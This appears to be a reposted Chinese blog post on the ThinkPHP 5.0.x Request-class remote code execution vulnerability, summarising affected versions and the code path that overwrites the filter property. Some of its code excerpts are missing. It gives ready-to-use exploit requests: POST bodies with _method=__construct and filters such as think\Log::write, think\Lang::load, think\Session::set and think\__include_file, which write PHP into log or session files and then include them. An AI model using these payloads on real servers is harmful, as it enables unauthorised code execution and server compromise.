• Thinkphp5 由Request导致的RCE漏洞版本小结


    一。

    tp5.0.0-5.0.12

    这版本是直接可以利用的,无需captcha模块。

    分析:thinkphp/library/think/App.php 中的run方法:

    filter(方法就是给$request->filter属性赋值:

    然后默认配置的值:

    所以也就是不管用户是否设置,这里$request->filter属性都会被重置。这里其实是一点不影响整个漏洞的。

    影响漏洞的在后面:

    然后执行的:app::routeCheck->Route::check(

    这里route->filter属性是被赋值了。

    在tp>=5.0.13的代码以后:(5.0.12以前的版本,module(方法中,没有$request->filter($config['default_filter']);代码,所以不会导致我们设置的filter属性被覆盖。)

    当没有captcha模块中的路由的时候会执行:

     

    当存在captcha模块的时候会执行:

    绑定路由到控制器,方法。手册:https://www.kancloud.cn/manual/thinkphp5/118037

    漏洞利用:

    为了兼容php7 这里选择的还是包含:

    1.可以利用我上面文章中的办法:log类写入日志,lang类包含。

    exp:

    1.
    http://localhost/ThinkPHP/tp507/public/index.php?xxx=<?php phpinfo();?>
    POST: _method=__construct&filter=	hinkLog::write&method=name
    2.
    http://localhost/ThinkPHP/tp507/public/index.php?xxx=../runtime/log/202003/17.log
    POST: _method=__construct&filter=	hinkLang::load&method=name

    这个方法就是可能因为日志内容过大,或者别人写入了<?php 这种东西而没有闭合导致包含失败。

    2.也可以利用网上说的:包含session。

    exp:

    1.
    http://localhost/ThinkPHP/tp507/public/index.php?xxx=<?php phpinfo();?>
    POST:_method=__construct&filter=	hinkSession::set&method=name
    还需要设置一个cookie:PHPSESSID=aaaaa
    2.
    http://localhost/ThinkPHP/tp507/public/index.php?xxx=../../../../Extensions/tmp/tmp/sess_aaaaa
    POST:_method=__construct&filter=	hink\__include_file&method=name

    这个方法有个问题就是需要获取到session储存的路径,在phpinfo中可以查看。

    注:这里包含的时候,包含的参数一定要在第一位,如:

    get的参数始终在前面:

    tp >= 5.0.13 以后的版本,只有完整版才有captcha模块,所以只影响完整版。

  • 相关阅读:
    php && 逻辑与运算符使用说明
    php无穷递归算法
    PHP foreach 用法
    centos安装g++
    php 编译中apxs
    shutdown()
    C语言strtok()函数:字符串分割
    细谈select函数(C语言)
    setsockopt的作用
    STL之七:STL各种容器的使用时机详解
  • 原文地址:https://www.cnblogs.com/xiaozhiru/p/12509973.html
Copyright © 2020-2023  润新知